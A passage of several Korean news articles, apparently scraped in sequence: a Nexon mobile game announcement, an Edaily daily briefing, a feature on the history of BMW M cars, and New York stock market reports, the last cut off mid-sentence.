- △ 모바일 액션 RPG 'HIT' 대표 이미지 (사진제공: 넥슨)[관련기사]프로젝트 히트 넥슨 서비스, 바른손이앤에이(035620) 주가 급등넥슨은 9일, 넷게임즈가 개발하고 자사가 서비스 예정인 모바일 신작 ‘프로젝트 HIT’의 정식 게임명을 ‘HIT(Heroes of Incredible Tales, 히트)’로 확정하고 브랜드사이트를 오픈했다.‘HIT’는 어둠으로 물든 지상계를 구하기 위해 나선 기사들을 중심으로 한 풀 3D 모바일 액션 RPG로, 브랜드사이트를 통해 게임 콘셉트와 캐릭터, 일러스트를 최초 공개했다.현재 공개된 캐릭터는 총 4종이다. △ 쌍검을 사용해 빠른 공격이 장기인 ‘루카스’△ 거대한 낫을 활용한 공중액션을 특기로 한 ‘아니카’△ 마법으로 번개나 수룡을 소환해 공격하는 ‘키키’△ 육중한 대검으로 강력한 파괴력을 과시하는 ‘휴고’ 등이 있다. 게임 내에서는 무기와 공격 특성에 따라 클래스를 나눠 캐릭터를 키울 수 있다.여기에 ‘공중콤보’, ‘던지기’, ‘내려찍기’ 등 호쾌한 액션 연출과 자유도 높은 스킬 시스템, 스토리 기반으로 진행되는 ‘모험 모드’, 최대 6인이 참여하는 ‘난투 모드’, 유저들이 서로 협력해 보스 몬스터를 사냥하는 ‘실시간 레이드 모드’ 등이 포함되어 있다.‘HIT’는 ‘리니지 2’, ‘테라’등을 만든 박용현 대표의 첫 모바일게임으로, 언리얼 엔진 4를 사용해 완성도 높은 그래픽을 선보이며 개발 단계에서부터 이목을 집중시킨 바 있다.넥슨은 2015년 하반기에 ‘HIT’의 안드로이드 OS와 iOS 버전을 출시할 예정이며, 브랜드사이트를 통해 다양한 콘텐츠를 순차적으로 공개할 예정이다.‘HIT’에 대한 상세한 정보는 게임 공식 브랜드사이트(http://hit.nexon.com/)에서 확인할 수 있다.본 기사는 게임전문매체 게임메카(www.gamemeca.com)에서 제공하고 있습니다.
- 이데일리 이슈&뉴스 브리핑 7월27일(오전)
- [이데일리 e뉴스정시내 기자] ◆오늘의 경제일정-7월 27일◇경제·금융14:00 기획재정부, 청년고용민관합동대책회의15:30 대전서민금융통합지원·청년인력관리센터 개소식-산업은행, 대우조선해양 경영상태 실사 시작-기획재정부, KDI국제정책대학원, G20 회원국 및 개발도상국 대상 글로벌리더과정 개최-통계청, 제2회 통계청 인구 서머세미나 개최-기재부, 청년 고용절벽 해소 종합대책◇산업·증권09:30 윤상직 산업통상자원부 장관, 에이엠텍 중소기업 현장방문10:30 미래창조과학부 장관, 공공기관 감사회의-산업부, 버려지던 온배수열을 신재생에너지로 활용-국토교통부, 2015년 상반기 지가동향 및 토지거래량-미래부, 세계전파통신회의(WRC) 대비 아·태지역 준비회의(APG-15) 서울 개최-미래부, 산학연공동연구법인 설립 지원사업 추진-미래부, 국가연구개발사업 성과목표·지표 점검-미래부, 핵단백질 발현 조절해 난치성 염증질환 치료기술 개발-정부, 700㎒대역 주파수 분배안 마련◇정치·사회10:00 국회, 공직선거법심사소위원회13:00 이기권 고용노동부 장관, 이달의 기능한국인 시상식14:00 국회, 미래창조과학방송통신위원회 전체회의15:00 정부, 제1차 양성평등위원회◇ 문화·연예12:00 문화가 있는 날 기자 간담회 (비나리)14:00 제4회 서울뮤지컬페스티벌 개최기념식14:00 외화 ‘미션임파서블 로그네이션’ 시사 (롯데시네마 건대입구)16:00 배용준 박수진 결혼 (쉐라톤 그랜드 워커힐 애스톤하우스)◆현재 포털 주요이슈◇ 국정원 ‘감청프로그램’ 도입 논란6년간 미래부 감청설비 인가대장에 나나테크는 없어국회 미방위 소속 문병호의원(새정치민주연합, 인천부평갑)이 제출받은 ‘2010-2015 미래창조과학부 감청설비 인가대장’에 따르면, 최근 5년간(2010-2015) 미래창조과학부는 총 11건의 감청설비를 인가했고, 감청설비 인가 수량은 총67대로 나타나. ◇ 한국교원대 종합감사 결과'제자 논문 가로채고, 가족은 강사로 추천'…교원대 비리 적발교육부는 지난해 10월 13일부터 24일까지 한국교원대에 대한 종합감사를 벌인 결과 인사·복무, 예산·회계·연구비, 입시·학사, 시설·기자재 등에서 모두 34건의 지적사항이 나왔다고 밝혀. ◇ 임금피크제 개편농협 노사, 임금피크제 도입키로 합의NH농협금융지주 등 농협 모든 계열사들이 내년부터 임금 피크제를 도입하기로 했다◆현재 포털 주요키워드/검색어박수진신용재-더원-박진영, 배용준♥박수진 결혼식 축가배우 배용준과 박수진 오늘(27일) 비공개 결혼. 축가 부를 가수와 신혼집 등 관심배수정배수정 "'복면가왕' 3년 만에 무대.. 감회 새로웠다" 소감위대한탄생2 준우승 출신 가수 배수정이 MBC ‘복면가왕’에 ‘달콤살벌 아이스크림’으로 출연 1라운드에서 탈락했음에도 존재감 과시신세경'마리텔' 신세경, 김영만과 재회 "가장 성공한 코딱지.. 눈물 나"배우 신세경이 ‘마이 리틀 텔레비전’ 인터넷 생방송에 깜짝 출연. 종이접기 아저씨 김영만과 15년 만에 재회전인지전인지, 한-미-일 메이저대회 석권..새역사 만들었다프로골퍼 전인지가 국내 메이저대회 하이트진로 챔피언십에서 우승. 올해 한국과 미국, 일본 3개국의 메이저 대회를 모두 우승한 세계 최초의 선수 등극▶ 관련기사 ◀☞ '마리텔' 신세경, 김영만과 재회 "가장 성공한 코딱지.. 눈물 나"☞ '그것이 알고싶다' 세모자, 성폭행 진술 중 웃음 '대국민 사기극?'☞ 강한친구들, 장기하 폭행에 "심적·육체적 타격.. 깊이 사과"☞ 배수정 "'복면가왕' 3년 만에 무대.. 감회 새로웠다” 소감☞ 오늘(27일) 날씨, 전국 대체로 흐리고 곳곳 장맛비 '후텁지근'
- [92회]특별한 녀석들- 브랜드별 고성능 디비젼 BMW M편
- [이데일리=모토야] 총성 없는 전쟁, 바로 수입차 시장을 두고 이르는 말이다. 한국 수입 자동차 협회에 따르면 2014년도 5월 현재, 수입차 등록대수는 1만6천712대로 집계됐다고 밝혔다. 한국시장의 점유율에서 13%를 넘어서며 수치이다. 매년 꾸준한 성장세를 이어가고 있는 추세이다.이 치열한 경쟁에서 각 메이커들은 차별화된 색다른 마케팅을 시도하고 있다. 그 중 하나가 고성능 모델들을 필두로 한 이미지 마케팅이다. BMW ´M‘, 메르세데스 벤츠 ´AMG´ , AUDI ’RS‘ 등이 대표적인 모델들이다. 고성능 모델들은 판매가 주 목적이 아니다. 고성능과 최신기술의 집합체로 색다른 이미지를 만들어 내어 소비자들에게 좀 더 강인한 이미지를 심어주는 것이 목적이다. 브랜드에 대한 소비자들의 충성도를 높이는 것이다. 스피드를 좋아하는 이들에게는 드림카로 불리기도 한다. 모토야에서는 이러한 특별한 녀석들을 시리즈로 알아보고자 한다. 첫 번째 특별한 녀셕은 BMW 의 ‘M’ 이다.[ BMW Motorsport GmbH 전경 ] BMW 산하의 BMW M은 올해로 설립 42주년이 된다. 1972년 모터스포츠 진출을 위해 BMW Motorsport GmbH(BMW 모터스포츠 유한회사를 의미한다. 이하 ‘BMW M’이라 칭한다.)이 만들어 졌다. 당시 모터스포츠 강자인 포르쉐를 따라잡기 위해서 기술개발진을 포함한 모터스포츠 전문가 35명으로 구성된 집단이었다. 설립 이후 공격적으로 모터스포츠에 진출했고 1973년부터 1979년까지 유럽 투어링카챔피언쉽(ETCC)에서 우수한 성적을 거두어 화제가 되었다. 당시 제작한 경주차에 적용된 기술과 각종 대회참가를 통해 얻은 경험은 오늘날의 M카의 뿌리가 된다.[ F1팀 브라밤 ]이후 BMW M은 1980년 F1 진출을 결정 한다. 머신을 제작해서 직접 대회에 참가하는 것이 아닌 엔진만 제작해서 대회에 참가하는 팀에 제공하는 차원이었다. 당시, 엔진이나 차체 개발에 대한 우수한 기술력을 보유한 페라리나 멕라렌 등과 같은 전통의 강자들이 F1에는 즐비하게 버티고 있었다. 대부분 대배기량의 V8이나 V6엔진을 사용하고 있었다. 이에 비해 BMW M이 들고 나선 엔진은 1.5L 4기통 터보차져로 구성되어 800마력을 발휘하는 M12이었다. 초자인 BMW M에게는 넘어서기 힘든 장벽임은 분명한 사실이었다. 부정적인 전망에도 불구하고 BMW M은 F1 팀들에게 엔진을 공급하기 시작했다. [ F1머신용 M 12엔진 ]이 엔진은 1년의 기간 동안 자체적으로 기획된 혹독한 테스트를 거쳐 탄생됐다. 1982년 F1팀 브라밤(Brabham)이 머신명 ‘브라밤 BT52’에 이 엔진을 탑재한다. 그리고 F1대회에서 우수한 성적을 거두게 되었다. BT52가 대회에서 우수한 성적을 만들어 내자 ATS, 베네통(Benetton), 리지에 애로우즈(Ligier Arrows)와 같은 팀에서 줄지어 BMW M의 엔진을 선택하게 된다. 그 결과 BMW M엔진을 탑재한 F1팀이 1980년대 총 9번의 우승을 차지하는 기염을 토한다. 이를 통해서 BMW Motorsport Gmbh이 전 세계 사람들에게 알려지는 계기가 된다.M시리즈의 시작 M1[ BMW M1 ] 1976년부터 BMW M은 양산차의 생산에 발을 들이기 시작했다. 양산차를 생산하게 된 것은 BMW가 FIA(국제자동차연맹) 주최의 그룹4(Group 4, 후에 WRC의 전신이 되는 Group B로 대체됨) 경기에 출전을 결정하면서부터 시작됐다.[ BMW M1 레이스카 ] BMW M은 Special Grand Touring Car경기인 그룹4의 규정, 2.0리터 초과 클래스를 충족하기 위한 양산 차를 직접 설계하기 시작했다. 설계 대상 엔진은 자사의 3.5리터 직렬 6기통 DOHC엔진인 M88로 낙점됐다. 섀시는 당시 경주용 자동차의 섀시 제작으로 유명한 이탈리아 엔지니어, 장 파울로 달라라(Gian Paolo Dallara)가 맡았다. 달라라는 전직 람보르기니 엔지니어로, 그가 설계한 대표적인 차종으로는 미우라가 있다. 외관 디자인은 BMW가 1972년 뮌헨 올림픽을 기념하여 공개한 컨셉트카인 BMW E25 터보를 기반으로 하고 있다. 그리고 이를 통해 디자인을 완성한 이는 조르제토 주지아로였다.[ BMW M1과 BMW i8 ]이렇게 해서 탄생한 차가 바로 M1이다. M1을 통해 본격적인 BMW M카의 역사가 시작되었다. 설계 및 개발이 완료된 M1은 그룹4의 규정 중 하나인 ‘24개월 내에 400대’의 최소 생산량을 맞추기 위해 생산을 개시했다. M1의 생산은 람보르기니에서 맡게 되었다. 이는 BMW가 미드쉽 레이아웃의 자동차에 대한 기술력이 부족에서 기인한다. 이후 1978년 9월, BMW M1의 1호차가 공장을 나서게 된다. 개발에 착수한 지 2년 만의 일이었다.하지만 M1의 생산량은 BMW의 기대에 부응하지 못했다. 월간 생산량이 평균 3~4대 수준에 그치고 만 것이었다. 람보르기니의 저조한 생산성에 실망한 BMW는 람보르기니와의 계약을 파기하고 슈트트가르트의 바우어(Baur) 사에 M1의 생산을 요청한다. 그러나 결과는 마찬가지였다. 1980년에 이르기까지 최소 기준인 400대를 간신히 넘긴 456대가 생산되었다. 도로 주행용 M1의 성능은 최고출력 277마력, 0-100km/h 가속 시간 5.9초, 최고 시속 265km/h의 성능을 발휘 했다. 이후에도 M1의 M88계열 엔진은 1983년에 초대 M6의 엔진으로, 1985년에는 초대 M5의 엔진으로 각각 사용되었다.지구상에서 가장 빠른 세단 M5[ 1세대 BMW M5 ]M1을 통해 M카 라인업의 시작을 알린 BMW는 M의 고성능 이미지를 적극적으로 활용하기 시작한다. 그 첫 번째 모델이 M5(E28)이다. 1984년 암스테르담 모터쇼에서 발표한 M5는 당시 판매하던 5시리즈를 기반으로 개발되었다. 파워트레인은 M1으로 검증된 직렬6기통 M88 3.5L 엔진을 재조정하여 286마력을 성능을 발휘했다. 변속기는 5단 수동변속기를 탑재 했다. 가속능력 0-100km/h은 6.2초로 그 당시 지구상에서 가장 빠른 세단이라는 별명을 얻었다. 모든 M5는 수작업으로 제작, 생산되었고 1988년도까지 2200대만 한정 생산되었다. [ 2세대 BMW M5 ]초대 M5는 당시 세단으로서는 보기 힘든 강력한 성능과 스포츠카 못지않은 핸들링으로 많은 팬을 만들어 냈다. 이런 흥행에 힘입어 BMW는 모델 변경된 코드네임 E34 5시리즈를 기본으로 한 2세대 M5를 개발하기 시작했다. 1989년에는 2세대 M5 모델이 출시 됐다. 엔진은 초대 M5에 탑재되었던 M88엔진을 사용했다. 차세대 모델에 걸맞은 개량을 거쳤다. 직렬6 기통 3.5L엔진의 배기량을 3.6L으로 늘리고 성능을 강화했다. 최대출력은 315마력이었고 최대토크는 40kg.m이었다. 변속기는 초대 M5와 마찬가지로, 수동변속기만 사용했다. 초기에는 초대 모델에 사용되었던 5단 변속기를 사용하고 있었으나, 이후 6단 변속기로 교체되었다. 2세대 M5의 판매량은 1995년까지 12,000대를 판매했다. 6배가 늘어난 성적을 거두었다.레이스를 위해 태어난 3시리즈 M3[ 1세대 BMW M3 ] M3의 출시는 1983년, FIA에서 주관하는 그룹A 투어링카 레이스에 출전시키기 위한 목적으로 개발이 시작되었다. 개발기간을 단축시키기 위해 E30 3시리즈를 기본 바탕으로 하여 개발에 착수했다. 당시 레이스카로 사용되던 3.0 CSL에 기술을 접목시켜 1986년도에 처음 출시 되었다. 새롭게 개발한 직렬 4기통 2.4L 엔진은 M1에 적용됐던 밸브트레인 기술을 적용했다. 최대출력 195마력, 최대토크23kg.m의 성능을 발휘했다. 변속기는 5단 수동 변속기만 선택 할 수 있었다.[ BMW M3 레이스카 ]출시 이후 1987년 독일 투어링카 챔피언쉽 우승과 월드 투어링카 챔피언십(WTCC), 유럽 투어링카 챔피언십(ETCC)에서 우승을 휩쓸며 단숨에 명성을 날리게 된다. 레이스 무대에서의 성공은 일반판매로도 자연스럽게 이어졌다. 단종되는 1991년까지 총 17,970대를 판매했다. 컨버터블 모델로도 출시하여 세계에서 가장 빠른 컨버터블로 불렸다.전 세계에 M을 알리다.각종 모터스포츠 대회에서의 선전과 성공적인 M카 판매를 통해 승승장구하던 BMW Motorsport Gmbh는 1993년도에 사명을 M GmbH로 바꾼다. 본격적으로 M의 신차 개발과 BMW 인디비주얼(BMW individual) 부문에만 집중하겠다는 취지로 역할을 분리한 것이다. 본업이었던 모터스포츠 부문은 1995년 세워진 영국의 BMW Motorsport Ltd가 담당하게 되었다. M GmbH은 M3와 M5를 대표 모델로 앞세우고 M카 라인업 강화를 주 업무로 삼았다. 더불어BMW 모델에도 M과 근접한 디자인과 퍼포먼스를 제공해주는 ‘M 패키지’를 구성 제공하는 업무도 병행했다. 최근에는 ‘M 퍼포먼스’라는 이름으로 오리지널 M카의 성능과 맞먹는 라인업도 개발했다.모터스포츠에서 얻은 경험과 기술력을 토대로 만들어진 BMW M카는 크게 세 가지로 분류된다. 첫째는 M3, M5, M6 등으로 대표되는 ‘오리지널 M’, 둘째는 M550d 등으로 대표되는 ´M 퍼포먼스´, 마지막으로 셋째는 각 모델 별로 마련되어 있는 ‘M 스포츠 패키지’로 나뉜다.[ 신형 BMW M3와 M4 ]오리지널 M은 M5를 시작으로 1M, M3, M4, M5, M6, X5 M, X6 M의 모델군으로 분류된다. 현재 국내에는 M3, M5, M6, X5M, X6M 등이 시장에 선보이고 있다. 이들은 BMW M을 상징하는 궁극의 퍼포먼스를 뽐내며 BMW의 슬로건인 궁극의 드라이빙 머신을 표방한다. 최근의 오리지널 M 카는 가솔린엔진과 듀얼 클러치 변속기만 적용한다. 그리고 오리지널 M의 새로운 일원인 M4와 완전히 새로워진 M3가 국내 시장으로의 출격을 기다리고 있다.[ BMW 퍼포먼스 라인업 ]M 퍼포먼스 라인은 오리지널 M카와 같은 궁극의 퍼포먼스를 가진 차는 아니다. 하지만 성능이 뛰어나지 않다면 어찌 M의 이름이 허락될 수 있겠는가? M 퍼포먼스 라인은 비록 오리지널 M카는 아니지만, M의 이름에 한 점 부끄럼 없는 걸출한 성능을 지닌 모델 군이다. M GmbH의 손길을 거친 엔진과 섀시를 통해 오리지널 M카들 조차도 긴장하게 만드는 성능을 과시한다. 최근에는 디젤도 M 퍼포먼스 라인들이 만들어지기 시작했다. 대표적인 모델은 M135i, M235i, M550d, X5 M50d, X6 M50d 등이 있다. 현재 M퍼포먼스 라인업 중에서 가장 눈에 띄는 모델은 M550d이다. 3.0리터 트리플 터보 디젤 엔진으로 무장한 M550d는 75.5kg.m/2000~3000rpm에 달하는 최대토크와 381마력/4000~4400rpm의 최고출력을 통해 0-100km/h 가속을 4.7초에해치우는 폭발적인 성능을 자랑한다.마지막 라인업은 M스포트 패키지다. 일반적인 BMW모델에게서 M의 감성을 느낄 수 있도록 한 스페셜 패키지를 의미한다. 바디킷, 휠, 서스펜션, 브레이크 등 M의 고성능 부품들을 주문하여 소비자의 입맛대로 장착 할 수 있다. 국내에서 M 스포트 패키지는 GT를 제외한 BMW의 모든 승용 라인업에 주문할 수 있다. 하지만 SUV 라인업의 경우, X3에만 주문이 가능하다.중고차는 얼마이면 살까?모토야(www.motoya.co.kr)는 국내 판매중인 국산차, 수입차, 레이싱모델, 특별한 시승기 등 다양한 정보를 제공하고 있습니다.
- 뉴욕증시, `고점부담` 막판 추락..다우만 사상최고
- [뉴욕= 이데일리 이정훈 특파원] 사상 최고치를 또다시 경신한 뉴욕증시가 장 막판 차익매물에 밀려났다. 경제지표 부진과 양적완화 규모 축소 우려 속에서도 기업실적 호조와 풍부한 유동성 덕에 다우는 1만6000선을, 스탠더드앤드푸어스(S&P)500지수는 1800선을 각각 사상 처음으로 뚫었지만, 차익매물과 `기업 사냥꾼` 칼 아이칸의 부정적 발언 등이 지수를 끌어 내렸다.18일(현지시간) 다우지수는 전거래일대비 14.32포인트, 0.09% 상승한 1만5976.02로 장을 마감하며 나흘째 사상 최고 종가를 경신했다. 그러나 S&P500지수는 6.64포인트, 0.37% 하락한 1791,54를 기록했고 나스닥지수도 전거래일보다 36.90포인트, 0.93% 떨어진 3949.07에 그쳤다. 중국 경제구조 개혁에 대한 기대감으로 아시아 증시가 강세를 보인 것이 투자심리에 긍정적으로 작용한 가운데 유로존의 9월 무역수지 흑자액이 131억유로에 이르며 시장 기대를 웃돈 것이 호재로 작용했다.스페인의 은행권 부실여신 비율이 또 사상 최고치를 경신하며 우려를 낳았지만, 에발트 노보트니 유럽중앙은행(ECB) 집행위원은 낮은 인플레이션에 대한 우려를 표시하며 추가 부양 가능성을 시사했다. 또 미국에서는 11월 주택건설업협회(NAHB) 주택시장 지수가 부진한 모습을 보이며 주택경기 조정을 알렸지만, 미국 최대 육류 가공업체인 타이슨푸드의 4분기 실적 호조는 시장심리를 살려냈다.그러나 오후에는 윌리엄 더들리 뉴욕 연방준비은행 총재와 찰스 플로서 필라델피아 연은 총재가 양적완화 규모 축소를 직, 간접적으로 주장하면서 지수 상승폭을 낮췄다. 또 현 주식시장에 대해 “매우 조심스럽다”며 신중론을 제기한 아이칸의 발언도 악재로 작용했다. 개별 종목별로는 아베크롬비 앤 피치가 3분기 실적 발표를 앞두고 기대감에 큰 폭으로 올랐다. 또 실적 호조의 주인공인 타이슨푸드는 3% 이상 상승하며 지수 오름세를 주도했다. 보잉도 두바이 에어쇼에서 대규모 항공기를 수주하며 2% 가까이 올랐다. 반면 최대 전기자동차 업체인 테슬라는 기계 오작동으로 3명의 작업자들이 뜨거운 금속에 화상을 입은 사고가 발생한 뒤로 하락세를 이어갔고 이날도 8% 이상 급락했다. 트위터도 분더리히증권이 ‘매도’ 투자의견을 제시한 탓에 주가가 6% 이상 급락하고 말았다. 또한 장 마감 이후에 실적을 공개할 예정인 고객관리 솔루션 개발회사인 세일즈포스닷컴은 실적 우려감에 하락했다. ◇ 더들리-플로서 총재, 양적완화에 ‘매파’ 발언연방준비제도(Fed)내에서 가장 강력한 영향력을 행사하고 있는 윌리엄 C. 더들리 뉴욕 연방준비은행 총재가 “미국 경제 전망에 대한 낙관론이 커졌다”고 밝혔다. 양적완화 규모 축소가 임박했다는 점을 시사한 것으로 풀이된다. 그는 “최근 발표된 3분기 국내총생산(GDP) 성장률과 10월 고용지표가 동반 호조를 보였다는 점에서 나 스스로 미국 경제에 대해 더 희망적으로 바뀌고 있다는 점을 인정할 수 밖에 없다”고 토로했다. 또 “내구재에 대한 소비자들의 지출 역시 전형적인 경기 순환적인 회복세를 보이고 있다”고 평가했다. 아울러 과도한 주택 공급도 크게 줄어든 상태라고 덧붙였다. 이어 “정부 재정지출 삭감과 세금 부담 상승에 따른 악영향이 차츰 줄어들 것이고 이 경우 경제 펀더멘털은 더 강해질 것”이라며 “미국 경제가 더 나은 성장세를 보이며 부진한 성장이 앞으로 2년간 강한 모습을 보일 수 있을 것”이라고 기대했다.아울러 연방준비제도(Fed)내에서 대표적인 매파로 불리는 찰스 플로서 필라델피아 연방준비은행 총재도 “미국 경제가 내년에는 국내총생산(GDP) 성장률 기준으로 3%까지 반등할 것으로 보이며 현재 7.3%인 실업률은 내년말에 6.25%까지 내려갈 것”이라며 “인플레이션도 내년중에 연준의 목표치인 2%에 근접할 것”이라고 예상했다. 이에 따라 그는 “이런 상황에서 연준이 지금처럼 그때 그때 상황에 따라 양적완화 규모를 조정하는 일을 그만둬야 한다”며 “이는 연준에 대한 신뢰를 위협하는 일이 될 것”이라고 경고했다.이에 따라 플로서 총재는 “이제 연준은 앞으로 얼마나 더 많은 규모의 자산을 매입할 것인지 구체적인 추가 매입 규모를 정해서 시장에 알린 뒤 그 시점에 이르면 양적완화를 중단해야 한다”고 강조했다.◇ 美 주택 체감경기, 예상밖 조정..5개월래 최저미국 건설업체들의 체감경기가 넉 달만에 최저 수준에서 다시 정체됐다. 정부 셧다운(부분 업무정지)과 모기지금리 상승 등으로 조정세를 보인 것으로 풀이된다.전미 주택건설업협회(NAHB)와 웰스파고가 이날 공동으로 발표한 11월중 주택시장 지수가 54를 기록했다. 이는 54로 하향 조정된 지난 10월 지수와 같은 수준이었지만, 55였던 시장 전망치에는 다소 못미친 수준이었다. 지수는 지난 6월 이후 가장 낮았다. 이는 지난 6월 이후 넉 달만에 가장 낮은 수준이었지만, 지수는 기준치인 50선은 넘어 주택 건축과 판매 등에 대해 낙관적으로 전망하는 건설업체들이 그렇지 않은 업체들보다 더 많다는 것을 보여주고 있다. 세부 항목별로는 현재 주택 판매여건지수는 10월의 58과 같은 수준을 유지한 반면 향후 주택구매지수도 43에서 42로 하락했다. 또 향후 6개월 뒤 주택 판매전망지수도 61에서 60으로 내려갔다. 데이빗 크로우 NAHB 수석이코노미스트는 “연방정부 셧다운과 경제지표 둔화 등에도 불구하고 주택 건축업자들의 자신감은 여전히 양호한 편으로 보인다”면서도 “다만 최근 악재들로 인해 건축업자나 주택 구입자들 모두 다소 관망하는 듯한 모습”이라고 진단했다. ◇ ‘美 최대 육가공업체’ 타이슨푸드, 4Q 실적호조미국 최대 육류 가공업체인 타이슨푸드의 올 4분기(8~10월) 이익과 매출이 모두 작년보다 늘어난 것은 물론이고 시장 전망치도 웃돌았다. 타이슨푸드는 이날 지난 4분기중 순이익이 2억6100만달러, 주당 70센트를 기록했다고 발표했다. 이는 1년전 같은 기간의 1억8100만달러, 주당 51센트보다 증가한 것이다. 또 시장에서 예상했던 주당 69센트 전망치도 소폭 상회했다. 또한 같은 기간 매출액은 89억달러를 기록해 전년동기의 83억달러보다 증가했고 88억달러였던 시장 전망치도 웃돌았다. 타이슨푸드측은 이 기간중 상대적으로 부가가치가 높은 제품들의 판매 성장세가 두드러졌고 해외에서의 판매 호조도 실적 개선을 이끌었다고 설명했다. 이에 따라 회사측은 11월부터 시작된 2014회계연도에도 매출액은 360억달러로 2013년보다 늘어날 것으로 전망했다. 육류 생산량도 1% 증가할 것으로 예상했다. ◇ HSBC “글로벌 증시랠리, 내년엔 주춤..8% 오를듯”글로벌 주식시장의 상승랠리가 내년에는 주춤거릴 것이라고 HSBC가 전망했다. 다만 시장이 약세국면에 접어들진 않을 것이며 상승률이 10% 이내로 제한될 것으로 내다봤다. 게리 에반스 HSBC 글로벌 스트래티지 대표는 이날 보고서에서 “글로벌 증시가 내년에는 올해와 같은 강한 상승세를 보이기 어려울 것”이라며 “내년 상승률이 두 자릿수를 기록하기 힘들 것 같다”고 밝혔다. 그러나 HSBC는 증시가 약세장으로 진입하는 일은 없을 것으로 내다보면서 단순히 상승폭이 제한되는 지루한 장세가 될 것으로 예상했다. 에반스 대표는 내년중 글로벌 주가지수 상승률은 8% 수준에 그칠 것으로 예측했다. 이같은 전망의 기저에는 미국 연방준비제도(Fed)의 양적완화 규모 축소 전망이 깔려있었다. 이에 따라 투자자들이 주식시장에 투자한 자금 중 일부를 다른 시장으로 옮겨갈 것으로 내다봤다. HSBC는 “연준이 양적완화 규모를 축소하기 시작하면서 최근 10년 평균치를 웃돌고 있는 대부분 주식시장에서의 밸류에이션이 부담으로 느껴질 것이며 이로 인해 주가 상승세는 제약될 것”이라며 “결국 시장이 다시 상승하기 위해서는 밸류에이션 부담을 낮출 수 있는 기업 이익 증가세가 나타나야 한다”고 지적했다. HSBC는 내년 글로벌 경제가 반등하면서 기업들의 이익 성장세도 11%에 이를 것으로 예상해 주식시장이 소폭이나마 오름세를 지속할 것으로 점쳤다. 또한 내년중 10년만기 미국 국채금리가 2.1~3.0% 수준을 기록할 것으로 예상한 HSBC는 “이같은 국채시장에서의 금리 상승이 내년도 주식시장에 대한 투자 매력을 유지할 수 있게 해주는 한 요인이 될 것”이라고도 예상했다. ◇ 노보트니 ECB위원, 낮은 인플레 우려..추가부양 시사오스트리아 중앙은행 총재인 에발트 노보트니 유럽중앙은행(ECB) 집행위원이 유로존의 낮은 인플레이션과 경기 회복세 둔화를 지적하며 추가 부양을 강하게 시사했다.노보트니 위원은 이날 스위스 비엔나에서의 강연에서 “현재 유로존의 물가 상승률은 ECB가 설정해놓은 물가 안정 수준에 비해 확실하게 낮은 수준”이라고 밝혔다. 또 “유럽과 유로존 경제 여건도 최근 개선세를 시작했지만, 그 개선속도는 우리가 얼마전까지 예상했던 것에 비해서는 강하게 않은 편”이라고 지적했다. 현재 ECB의 물가 목표치는 2%로, 앞선 10월 유로존 소비자물가 상승률은 0.7%에 그쳤다. 또 2분기에 회복세를 보였던 유로존 국내총생산(GDP) 성장률은 3분기 들어 다시 0.1%로 둔화되는 모습을 보였다. 아울러 그는 여전한 유로존 금융시장에서의 양극화 현상을 지적하며 “유로존 금융시장 통합을 뒤집으려는 어떠한 시도도 중단돼야 한다”고 강조했다. 그는 “물가가 목표치에서 크게 멀어져 있다고 해서 당장 대응할 필요는 없지만, 앞으로 추가적인 조치가 필요하다며 그 방법들은 충분히 남아있다”고 주장하기도 했다.
- 뉴욕증시, 이틀째 조정..시리아 관망속 차익매물
- [뉴욕= 이데일리 이정훈 특파원] 뉴욕증시가 이틀째 숨고르기 양상을 보였다. 시리아를 둘러싼 외교 해법에 대한 이견으로 미국과 러시아간 회담에 관심이 쏠린 가운데 일부 차익매물이 나왔다. 12일(현지시간) 다우지수는 전일대비 25.96포인트, 0.17% 하락한 1만5300.64로 장을 마감했다. 스탠더드앤드푸어스(S&P)500지수 역시 5.71포인트, 0.34% 떨어진 1683.42를 기록하며 8거래일만에 하락세로 돌아섰다. 나스닥지수도 전일보다 9.04포인트, 0.24% 낮은 3715.97을 기록했다.유로존에서는 7월 산업생산이 1.5% 감소하며 시장 예상치를 밑돈 것이 시장심리를 악화시켰다. 또 시리아 사태에 대한 외교적 해결을 위해 미국과 러시아가 회동을 갖기로 하면서 이에 대한 관망심리가 우세해졌다. 다만 유럽 의회가 금융동맹의 첫 걸음이 될 유럽중앙은행(ECB)의 단일 은행 감독체계를 승인한 것이 힘이 됐다. 또 미국의 지난주 신규 실업수당 청구건수가 7년 5개월만에 30만건 아래로 내려가는 호조세를 보인 것이 지수 낙폭을 줄였다. 다만 일부 주에서 컴퓨터 업그레이드로 집계를 완료하지 못한 영향이 있는 만큼 큰 호재가 되진 못했다. 또 미국 소매업체들의 엇갈린 실적은 소매경기 회복 기대를 낮췄다. 이날 오전 미국 최대 슈퍼마켓 체인인 크로거의 실적이 호조를 보인 반면 룰루레몬과 멘스웨어하우스 등 의류 소매업체들의 실적은 부진했고 연간 이익 전망도 함께 하향 조정했다. 업종별로 등락이 엇갈린 가운데 소재주와 금융주가 부진했던 반면 통신주는 다소 강했다. 디즈니는 제이 라술로 최고재무책임자(CFO)가 60억~80억달러 규모의 자사주 취득 계획을 발표한 이후 주가가 3% 가까이 급등하며 대형주 강세를 주도했다. 판도라도 마이크로소프트(MS)사 출신인 브라이언 맥앤드류스를 최고경영자(CEO)로 영입했다는 소식으로 주가가 12% 이상 급등했다.아울러 미국 최대 슈퍼마켓 체인인 크로거는 2분기 실적 호조와 연간 동일점포 매출 전망 상향 덕에 3% 가까이 올랐다. 또 크루즈 업체인 로열 캐리비언도 주당 12센트인 배당을 25센트로 2배 이상 상향 조정한다는 발표로 주가가 0.59% 상승했다. 반면 델은 창업주인 마이클 델의 248억달러 규모 지분 인수를 주주들이 승인한 이후 향후 전망에 대한 부정적인 평가가 나오며 약보합권에 머물렀다. 또한 부진한 2분기 실적과 함께 연간 실적 전망을 하향 조정한 룰루레몬 애쓸레티카와 멘스웨어하우스가 동반 하락하는 모습을 보였다. ◇ 美 재정적자, 개선..실업수당은 7년 5개월 최저지난달 미국 연방정부의 재정수지 적자규모가 줄어들면서 시장 예상보다 더 큰 폭으로 개선됐다. 이에 따라 올 누적으로 재정적자 규모는 작년보다 큰 폭으로 개선되고 있다. 다음달 마감되는 회계연도 누적적자는 1조달러를 밑돌며 5년만에 최저치를 기록할 것이 확실시되고 있다. 미 재무부는 이날 지난 8월중 미국 정부의 재정수지 적자규모가 1479억2000만달러를 기록했다고 발표했다. 이는 시장에서 예상했던 1500억달러보다 낮은 수준으로, 전년동월의 1905억3000만달러보다 크게 줄었다. 이에 따라 지난해 10월 시작된 올 회계연도 11개월간 누적 재정수지 적자규모는 총 7553억5000만달러로, 작년 같은 기간의 1조1640억달러보다 35%나 줄었다. 또 미국 노동부는 지난주 신규 실업수당 